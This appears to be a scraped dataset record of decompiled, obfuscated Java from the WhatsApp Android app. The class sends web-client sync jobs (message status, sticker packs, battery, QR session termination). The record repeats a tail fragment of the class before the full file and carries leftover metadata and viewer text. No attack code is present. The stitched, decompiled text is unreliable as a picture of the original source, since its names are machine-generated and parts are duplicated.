C02400Bv r3 = this.A0D;
if (r3.A03() && r12 != null && collection != null && collection.size() != 0) {
AnonymousClass3WQ r1 = new AnonymousClass3WQ(this, r12, collection, i);
((AbstractC67843As) r1).A00 = r3.A01().A03;
AnonymousClass0C4 r2 = this.A0E;
AnonymousClass237 r10 = new AnonymousClass237(r2, r1);
ArrayList arrayList = new ArrayList(collection.size());
Iterator it = collection.iterator();
while (it.hasNext()) {
arrayList.add(((AbstractC007503q) it.next()).A0n);
}
String A032 = r2.A03();
AnonymousClass01J r4 = this.A04;
String str = r3.A01().A03;
AnonymousClass1XZ r9 = new AnonymousClass1XZ(r12, 2);
r9.A00 = i;
r4.A00.A01(new SendWebForwardJob(A032, str, Message.obtain(null, 0, 54, 0, new AnonymousClass225(A032, r12, arrayList, r9, r10))));
}
}
public void A06(AnonymousClass02N r8, boolean z) {
if (r8 != null && !AnonymousClass1VY.A0d(r8)) {
C02400Bv r3 = this.A0D;
if (r3.A03()) {
AnonymousClass3WO r2 = new AnonymousClass3WO(this, r8, z);
((AbstractC67843As) r2).A00 = r3.A01().A03;
AnonymousClass0C4 r0 = this.A0E;
AnonymousClass237 r1 = new AnonymousClass237(r0, r2);
String A032 = r0.A03();
AnonymousClass01J r5 = this.A04;
r5.A00.A01(new SendWebForwardJob(A032, r3.A01().A03, Message.obtain(null, 0, 48, 0, new AnonymousClass223(A032, r8, z, r1))));
}
}
}
public void A07(Jid jid, String str, boolean z, String str2, String str3, long j, String str4) {
AnonymousClass0C4 r2;
AnonymousClass0K4 r0;
StringBuilder A0Z = AnonymousClass008.A0Z("app/xmpp/recv/qr_terminate recv: ", str2, " local: ");
C02400Bv r1 = this.A0D;
A0Z.append(r1.A01().A03);
A0Z.append(" clear: ");
A0Z.append(z);
Log.i(A0Z.toString());
if (!r1.A03() || !r1.A01().A03.equals(str2)) {
r2 = this.A0E;
r2.A0C(j, str3);
} else {
Handler handler = this.A01.A00;
handler.removeMessages(5);
handler.removeMessages(3);
handler.removeMessages(4);
r2 = this.A0E;
r2.A05 = false;
r2.A0B();
r2.A0C(j, r2.A0L.A01().A00);
r2.A0F(z);
}
if (str2 != null) {
if (!str2.equals(r1.A01().A03) && str3 != null && z && r2.A05().containsKey(str3)) {
r2.A0H(false, str3);
r2.A0A();
}
} else if (!(str4 == null || str3 == null || !z || (r0 = (AnonymousClass0K4) r2.A05().get(str3)) == null)) {
byte[] decode = Base64.decode(r0.A0B, 0);
byte[] bArr = new byte[32];
System.arraycopy(decode, 0, bArr, 0, 32);
byte[] bArr2 = new byte[32];
System.arraycopy(decode, 32, bArr2, 0, 32);
byte[] A012 = AnonymousClass3WM.A01(bArr2, bArr);
if (A012 != null && Base64.encodeToString(A012, 2).equals(str4)) {
r2.A0H(false, str3);
r2.A0A();
}
}
this.A03.A09(str, jid, "web");
}
public void A08(UserJid userJid) {
if (this.A05.A06 && this.A0D.A03() && userJid != null) {
this.A0C.ANF(new RunnableEBaseShape3S0200000_I0_2(this, userJid, 24));
}
}
public void A09(UserJid userJid, C02840Dr r7, long j) {
if (this.A0D.A03() && r7 != null && userJid != null) {
this.A0B.A09(Message.obtain(null, 0, 155, 0, new AnonymousClass22B(userJid, r7.A09(), j)));
}
}
public void A0A(C007303n r8, int i) {
C02400Bv r3 = this.A0D;
if (!r3.A03()) {
return;
}
if (i == 0 || i == 5 || i == 13 || i == 7 || i == 8) {
AnonymousClass3WT r2 = new AnonymousClass3WT(this, r8, i);
((AbstractC67843As) r2).A00 = r3.A01().A03;
AnonymousClass0C4 r0 = this.A0E;
AnonymousClass237 r1 = new AnonymousClass237(r0, r2);
String A032 = r0.A03();
AnonymousClass01J r5 = this.A04;
r5.A00.A01(new SendWebForwardJob(A032, r3.A01().A03, Message.obtain(null, 0, 47, 0, new AnonymousClass22C(A032, r8, i, r1))));
return;
}
Log.e("app/xmpp/send/qr_msg_status invalid status");
}
public void A0B(AbstractC007503q r12, String str) {
if (r12 != null && str != null) {
C02400Bv r2 = this.A0D;
if (r2.A03() && (r12.A07() instanceof UserJid)) {
AnonymousClass3WX r1 = new AnonymousClass3WX(this, r12, str);
((AbstractC67843As) r1).A00 = r2.A01().A03;
AnonymousClass0C4 r0 = this.A0E;
AnonymousClass237 r10 = new AnonymousClass237(r0, r1);
String A032 = r0.A03();
AnonymousClass01J r4 = this.A04;
r4.A00.A01(new SendWebForwardJob(A032, r2.A01().A03, Message.obtain(null, 0, 127, 0, new AnonymousClass22O(A032, (UserJid) r12.A07(), str, r12.A0n, r10))));
}
}
}
public void A0C(AnonymousClass1XZ r3, int i) {
if (!AnonymousClass1VY.A0d(r3.A06)) {
A0H(Collections.singletonList(r3), Integer.valueOf(i));
}
}
public void A0D(AnonymousClass0ZJ r14) {
C02400Bv r1 = this.A0D;
if (r1.A03()) {
C007303n r10 = r14.A0n;
AnonymousClass02N r9 = r10.A00;
if (AnonymousClass1VY.A0b(r9)) {
String A022 = AnonymousClass09E.A02(this.A09.A08());
AnonymousClass3WX r2 = new AnonymousClass3WX(this, r14, A022);
((AbstractC67843As) r2).A00 = r1.A01().A03;
AnonymousClass0C4 r0 = this.A0E;
AnonymousClass237 r12 = new AnonymousClass237(r0, r2);
String A032 = r0.A03();
if (r14.A0G instanceof UserJid) {
AnonymousClass01J r4 = this.A04;
r4.A00.A01(new SendWebForwardJob(r10.A01, r1.A01().A03, Message.obtain(null, 0, 154, 0, new AnonymousClass22P(A032, (UserJid) r14.A0G, A022, r10, r14.A00, r12))));
return;
}
return;
}
AnonymousClass01J r42 = this.A04;
String str = r10.A01;
r42.A00.A01(new SendWebForwardJob(str, r1.A01().A03, Message.obtain(null, 0, 128, 0, new AnonymousClass22K(str, r14.A00, r10.A02, r9, r14.A0G))));
}
}
public void A0E(String str, int i) {
if (this.A05.A06 && this.A0D.A03() && str != null) {
this.A0B.A09(Message.obtain(null, 0, 57, 0, new AnonymousClass221(str, i)));
}
}
public void A0F(String str, String str2) {
if (this.A0D.A03()) {
AnonymousClass00E.A03(str2);
this.A0B.A09(Message.obtain(null, 0, 199, 0, new AnonymousClass22Q(str, "delete", str2)));
}
}
public void A0G(String str, String str2) {
if (this.A0D.A03()) {
AnonymousClass00E.A08(!"delete".equals(str2), "sendWebStickerPacksUpdate should not handle delete event, use sendWebStickerPacksDelete for that");
this.A0B.A09(Message.obtain(null, 0, 199, 0, new AnonymousClass22Q(str, str2, null)));
}
}
public void A0H(List list, Integer num) {
C02400Bv r3 = this.A0D;
if (r3.A03()) {
ArrayList arrayList = new ArrayList();
Iterator it = list.iterator();
while (it.hasNext()) {
AnonymousClass1XZ r1 = (AnonymousClass1XZ) it.next();
if (!AnonymousClass1VY.A0d(r1.A06)) {
if (num != null) {
r1.A00 = num.intValue();
}
arrayList.add(r1);
}
}
if (!arrayList.isEmpty()) {
AnonymousClass3WP r2 = new AnonymousClass3WP(this, arrayList);
((AbstractC67843As) r2).A00 = r3.A01().A03;
AnonymousClass0C4 r0 = this.A0E;
AnonymousClass237 r12 = new AnonymousClass237(r0, r2);
String A032 = r0.A03();
AnonymousClass01J r5 = this.A04;
r5.A00.A01(new SendWebForwardJob(A032, r3.A01().A03, Message.obtain(null, 0, 52, 0, new AnonymousClass224(A032, arrayList, r12))));
}
}
}
public void A0I(boolean z) {
if (this.A05.A06) {
C02400Bv r5 = this.A0D;
if (r5.A03()) {
this.A0B.A09(Message.obtain(null, 0, 44, 0, new AnonymousClass227(z)));
A07(null, null, z, r5.A01().A03, r5.A01().A00, 0, null);
}
}
}
public boolean A0J(String str) {
AnonymousClass0C4 r1 = this.A0E;
Number number = (Number) r1.A06(true).get(str);
if (number == null) {
r1.A0E(str, -1);
return false;
}
int intValue = number.intValue();
if (intValue < 0) {
AnonymousClass008.A16("app/xmpp/web/handled/action/in_progress/", str);
return true;
}
A0E(str, intValue);
return true;
}
@Override // X.AbstractC02380Bt
public void ADF(DeviceJid deviceJid) {
if (deviceJid != null) {
A08(deviceJid.userJid);
}
}
@Override // X.AbstractC02370Bs
public void ADV(AnonymousClass0AW r2) {
A03(r2, this.A06.A00);
}
@Override // X.AnonymousClass0AZ
public void AId(boolean z) {
A03(this.A00.A00, z);
}
}
|
UTF-8
|
Java
| 14,921 |
java
|
C02360Br.java
|
Java
|
[] | null |
[] |
package X;
import android.os.Handler;
import android.os.Message;
import android.util.Base64;
import com.whatsapp.jid.DeviceJid;
import com.whatsapp.jid.Jid;
import com.whatsapp.jid.UserJid;
import com.whatsapp.jobqueue.job.SendWebForwardJob;
import com.whatsapp.util.Log;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Collections;
import java.util.Iterator;
import java.util.List;
/* renamed from: X.0Br reason: invalid class name and case insensitive filesystem */
public class C02360Br implements AbstractC02370Bs, AbstractC02380Bt, AnonymousClass0AZ {
public static AbstractC02390Bu A0F = C57762kp.A00;
public static AbstractC02390Bu A0G = C57772kq.A00;
public static volatile C02360Br A0H;
public final AnonymousClass0AV A00;
public final AnonymousClass0CD A01;
public final AnonymousClass01I A02;
public final AnonymousClass09G A03;
public final AnonymousClass01J A04;
public final AnonymousClass09K A05;
public final AnonymousClass0AX A06;
public final C02120As A07;
public final AnonymousClass01T A08;
public final AnonymousClass09E A09;
public final AnonymousClass0CB A0A;
public final AnonymousClass09H A0B;
public final AnonymousClass00T A0C;
public final C02400Bv A0D;
public final AnonymousClass0C4 A0E;
public C02360Br(AnonymousClass01I r1, AnonymousClass00T r2, C02400Bv r3, AnonymousClass0C4 r4, AnonymousClass09E r5, AnonymousClass09G r6, AnonymousClass01J r7, AnonymousClass09H r8, AnonymousClass0CB r9, AnonymousClass09K r10, AnonymousClass0CD r11, AnonymousClass0AV r12, C02120As r13, AnonymousClass01T r14, AnonymousClass0AX r15) {
this.A02 = r1;
this.A0C = r2;
this.A0D = r3;
this.A0E = r4;
this.A09 = r5;
this.A03 = r6;
this.A04 = r7;
this.A0B = r8;
this.A0A = r9;
this.A05 = r10;
this.A01 = r11;
this.A00 = r12;
this.A07 = r13;
this.A08 = r14;
this.A06 = r15;
}
public static C02360Br A00() {
if (A0H == null) {
synchronized (AnonymousClass0AR.class) {
if (A0H == null) {
AnonymousClass01I A002 = AnonymousClass01I.A00();
AnonymousClass00T A003 = C002101e.A00();
C02400Bv A004 = C02400Bv.A00();
AnonymousClass0C4 A005 = AnonymousClass0C4.A00();
AnonymousClass09E A006 = AnonymousClass09E.A00();
AnonymousClass09G A007 = AnonymousClass09G.A00();
AnonymousClass01J A008 = AnonymousClass01J.A00();
AnonymousClass0AN.A00();
AnonymousClass09H A012 = AnonymousClass09H.A01();
C014308b.A00();
AnonymousClass0CB A009 = AnonymousClass0CB.A00();
AnonymousClass09K r12 = AnonymousClass09K.A07;
AnonymousClass0BB.A00();
AnonymousClass0CD A0010 = AnonymousClass0CD.A00();
AnonymousClass01P.A00();
A0H = new C02360Br(A002, A003, A004, A005, A006, A007, A008, A012, A009, r12, A0010, AnonymousClass0AV.A00(), C02120As.A00(), AnonymousClass01T.A00(), AnonymousClass0AX.A00());
}
}
}
return A0H;
}
public void A01(int i, AnonymousClass02N r9, long j, int i2) {
if (!AnonymousClass1VY.A0d(r9)) {
A0C(new AnonymousClass1XZ(r9, i, j, 0), i2);
}
}
public void A02(int i, String str, String str2) {
if (this.A05.A06 && str != null) {
this.A0B.A09(Message.obtain(null, 0, 49, 0, new AnonymousClass226(i, str, str2)));
}
}
public final void A03(AnonymousClass0AW r7, boolean z) {
if (this.A05.A06 && this.A0D.A03()) {
double A002 = r7.A00();
if (!Double.isNaN(A002)) {
AnonymousClass0C4 r3 = this.A0E;
AnonymousClass1YZ r1 = new AnonymousClass1YZ((int) A002, r7.A01(), z);
if (!r1.equals(r3.A0U.getAndSet(r1))) {
this.A0B.A09(Message.obtain(null, 0, 56, 0, new C448721z(r1)));
}
}
}
}
public void A04(AnonymousClass0OP r9, boolean z) {
C02400Bv r3 = this.A0D;
if ((r3.A03() || z) && AnonymousClass1VY.A0T(r9)) {
ArrayList arrayList = new ArrayList(this.A08.A01(r9).A03().A02());
AnonymousClass01I r0 = this.A02;
r0.A04();
arrayList.remove(r0.A03);
AnonymousClass3WN r2 = new AnonymousClass3WN(this, r9, z);
((AbstractC67843As) r2).A00 = r3.A01().A03;
AnonymousClass0C4 r02 = this.A0E;
AnonymousClass237 r1 = new AnonymousClass237(r02, r2);
String A032 = r02.A03();
AnonymousClass01J r5 = this.A04;
r5.A00.A01(new SendWebForwardJob(A032, r3.A01().A03, Message.obtain(null, 0, 51, 0, new C448621y(A032, r9, arrayList, r1))));
}
}
public void A05(AnonymousClass02N r12, Collection collection, int i) {
C02400Bv r3 = this.A0D;
if (r3.A03() && r12 != null && collection != null && collection.size() != 0) {
AnonymousClass3WQ r1 = new AnonymousClass3WQ(this, r12, collection, i);
((AbstractC67843As) r1).A00 = r3.A01().A03;
AnonymousClass0C4 r2 = this.A0E;
AnonymousClass237 r10 = new AnonymousClass237(r2, r1);
ArrayList arrayList = new ArrayList(collection.size());
Iterator it = collection.iterator();
while (it.hasNext()) {
arrayList.add(((AbstractC007503q) it.next()).A0n);
}
String A032 = r2.A03();
AnonymousClass01J r4 = this.A04;
String str = r3.A01().A03;
AnonymousClass1XZ r9 = new AnonymousClass1XZ(r12, 2);
r9.A00 = i;
r4.A00.A01(new SendWebForwardJob(A032, str, Message.obtain(null, 0, 54, 0, new AnonymousClass225(A032, r12, arrayList, r9, r10))));
}
}
public void A06(AnonymousClass02N r8, boolean z) {
if (r8 != null && !AnonymousClass1VY.A0d(r8)) {
C02400Bv r3 = this.A0D;
if (r3.A03()) {
AnonymousClass3WO r2 = new AnonymousClass3WO(this, r8, z);
((AbstractC67843As) r2).A00 = r3.A01().A03;
AnonymousClass0C4 r0 = this.A0E;
AnonymousClass237 r1 = new AnonymousClass237(r0, r2);
String A032 = r0.A03();
AnonymousClass01J r5 = this.A04;
r5.A00.A01(new SendWebForwardJob(A032, r3.A01().A03, Message.obtain(null, 0, 48, 0, new AnonymousClass223(A032, r8, z, r1))));
}
}
}
public void A07(Jid jid, String str, boolean z, String str2, String str3, long j, String str4) {
AnonymousClass0C4 r2;
AnonymousClass0K4 r0;
StringBuilder A0Z = AnonymousClass008.A0Z("app/xmpp/recv/qr_terminate recv: ", str2, " local: ");
C02400Bv r1 = this.A0D;
A0Z.append(r1.A01().A03);
A0Z.append(" clear: ");
A0Z.append(z);
Log.i(A0Z.toString());
if (!r1.A03() || !r1.A01().A03.equals(str2)) {
r2 = this.A0E;
r2.A0C(j, str3);
} else {
Handler handler = this.A01.A00;
handler.removeMessages(5);
handler.removeMessages(3);
handler.removeMessages(4);
r2 = this.A0E;
r2.A05 = false;
r2.A0B();
r2.A0C(j, r2.A0L.A01().A00);
r2.A0F(z);
}
if (str2 != null) {
if (!str2.equals(r1.A01().A03) && str3 != null && z && r2.A05().containsKey(str3)) {
r2.A0H(false, str3);
r2.A0A();
}
} else if (!(str4 == null || str3 == null || !z || (r0 = (AnonymousClass0K4) r2.A05().get(str3)) == null)) {
byte[] decode = Base64.decode(r0.A0B, 0);
byte[] bArr = new byte[32];
System.arraycopy(decode, 0, bArr, 0, 32);
byte[] bArr2 = new byte[32];
System.arraycopy(decode, 32, bArr2, 0, 32);
byte[] A012 = AnonymousClass3WM.A01(bArr2, bArr);
if (A012 != null && Base64.encodeToString(A012, 2).equals(str4)) {
r2.A0H(false, str3);
r2.A0A();
}
}
this.A03.A09(str, jid, "web");
}
public void A08(UserJid userJid) {
if (this.A05.A06 && this.A0D.A03() && userJid != null) {
this.A0C.ANF(new RunnableEBaseShape3S0200000_I0_2(this, userJid, 24));
}
}
public void A09(UserJid userJid, C02840Dr r7, long j) {
if (this.A0D.A03() && r7 != null && userJid != null) {
this.A0B.A09(Message.obtain(null, 0, 155, 0, new AnonymousClass22B(userJid, r7.A09(), j)));
}
}
public void A0A(C007303n r8, int i) {
C02400Bv r3 = this.A0D;
if (!r3.A03()) {
return;
}
if (i == 0 || i == 5 || i == 13 || i == 7 || i == 8) {
AnonymousClass3WT r2 = new AnonymousClass3WT(this, r8, i);
((AbstractC67843As) r2).A00 = r3.A01().A03;
AnonymousClass0C4 r0 = this.A0E;
AnonymousClass237 r1 = new AnonymousClass237(r0, r2);
String A032 = r0.A03();
AnonymousClass01J r5 = this.A04;
r5.A00.A01(new SendWebForwardJob(A032, r3.A01().A03, Message.obtain(null, 0, 47, 0, new AnonymousClass22C(A032, r8, i, r1))));
return;
}
Log.e("app/xmpp/send/qr_msg_status invalid status");
}
public void A0B(AbstractC007503q r12, String str) {
if (r12 != null && str != null) {
C02400Bv r2 = this.A0D;
if (r2.A03() && (r12.A07() instanceof UserJid)) {
AnonymousClass3WX r1 = new AnonymousClass3WX(this, r12, str);
((AbstractC67843As) r1).A00 = r2.A01().A03;
AnonymousClass0C4 r0 = this.A0E;
AnonymousClass237 r10 = new AnonymousClass237(r0, r1);
String A032 = r0.A03();
AnonymousClass01J r4 = this.A04;
r4.A00.A01(new SendWebForwardJob(A032, r2.A01().A03, Message.obtain(null, 0, 127, 0, new AnonymousClass22O(A032, (UserJid) r12.A07(), str, r12.A0n, r10))));
}
}
}
public void A0C(AnonymousClass1XZ r3, int i) {
if (!AnonymousClass1VY.A0d(r3.A06)) {
A0H(Collections.singletonList(r3), Integer.valueOf(i));
}
}
public void A0D(AnonymousClass0ZJ r14) {
C02400Bv r1 = this.A0D;
if (r1.A03()) {
C007303n r10 = r14.A0n;
AnonymousClass02N r9 = r10.A00;
if (AnonymousClass1VY.A0b(r9)) {
String A022 = AnonymousClass09E.A02(this.A09.A08());
AnonymousClass3WX r2 = new AnonymousClass3WX(this, r14, A022);
((AbstractC67843As) r2).A00 = r1.A01().A03;
AnonymousClass0C4 r0 = this.A0E;
AnonymousClass237 r12 = new AnonymousClass237(r0, r2);
String A032 = r0.A03();
if (r14.A0G instanceof UserJid) {
AnonymousClass01J r4 = this.A04;
r4.A00.A01(new SendWebForwardJob(r10.A01, r1.A01().A03, Message.obtain(null, 0, 154, 0, new AnonymousClass22P(A032, (UserJid) r14.A0G, A022, r10, r14.A00, r12))));
return;
}
return;
}
AnonymousClass01J r42 = this.A04;
String str = r10.A01;
r42.A00.A01(new SendWebForwardJob(str, r1.A01().A03, Message.obtain(null, 0, 128, 0, new AnonymousClass22K(str, r14.A00, r10.A02, r9, r14.A0G))));
}
}
public void A0E(String str, int i) {
if (this.A05.A06 && this.A0D.A03() && str != null) {
this.A0B.A09(Message.obtain(null, 0, 57, 0, new AnonymousClass221(str, i)));
}
}
public void A0F(String str, String str2) {
if (this.A0D.A03()) {
AnonymousClass00E.A03(str2);
this.A0B.A09(Message.obtain(null, 0, 199, 0, new AnonymousClass22Q(str, "delete", str2)));
}
}
public void A0G(String str, String str2) {
if (this.A0D.A03()) {
AnonymousClass00E.A08(!"delete".equals(str2), "sendWebStickerPacksUpdate should not handle delete event, use sendWebStickerPacksDelete for that");
this.A0B.A09(Message.obtain(null, 0, 199, 0, new AnonymousClass22Q(str, str2, null)));
}
}
public void A0H(List list, Integer num) {
C02400Bv r3 = this.A0D;
if (r3.A03()) {
ArrayList arrayList = new ArrayList();
Iterator it = list.iterator();
while (it.hasNext()) {
AnonymousClass1XZ r1 = (AnonymousClass1XZ) it.next();
if (!AnonymousClass1VY.A0d(r1.A06)) {
if (num != null) {
r1.A00 = num.intValue();
}
arrayList.add(r1);
}
}
if (!arrayList.isEmpty()) {
AnonymousClass3WP r2 = new AnonymousClass3WP(this, arrayList);
((AbstractC67843As) r2).A00 = r3.A01().A03;
AnonymousClass0C4 r0 = this.A0E;
AnonymousClass237 r12 = new AnonymousClass237(r0, r2);
String A032 = r0.A03();
AnonymousClass01J r5 = this.A04;
r5.A00.A01(new SendWebForwardJob(A032, r3.A01().A03, Message.obtain(null, 0, 52, 0, new AnonymousClass224(A032, arrayList, r12))));
}
}
}
public void A0I(boolean z) {
if (this.A05.A06) {
C02400Bv r5 = this.A0D;
if (r5.A03()) {
this.A0B.A09(Message.obtain(null, 0, 44, 0, new AnonymousClass227(z)));
A07(null, null, z, r5.A01().A03, r5.A01().A00, 0, null);
}
}
}
public boolean A0J(String str) {
AnonymousClass0C4 r1 = this.A0E;
Number number = (Number) r1.A06(true).get(str);
if (number == null) {
r1.A0E(str, -1);
return false;
}
int intValue = number.intValue();
if (intValue < 0) {
AnonymousClass008.A16("app/xmpp/web/handled/action/in_progress/", str);
return true;
}
A0E(str, intValue);
return true;
}
@Override // X.AbstractC02380Bt
public void ADF(DeviceJid deviceJid) {
if (deviceJid != null) {
A08(deviceJid.userJid);
}
}
@Override // X.AbstractC02370Bs
public void ADV(AnonymousClass0AW r2) {
A03(r2, this.A06.A00);
}
@Override // X.AnonymousClass0AZ
public void AId(boolean z) {
A03(this.A00.A00, z);
}
}
| 14,921 | 0.556799 | 0.450908 | 367 | 39.656677 | 34.957924 | 339 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.237057 | false | false |
8
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.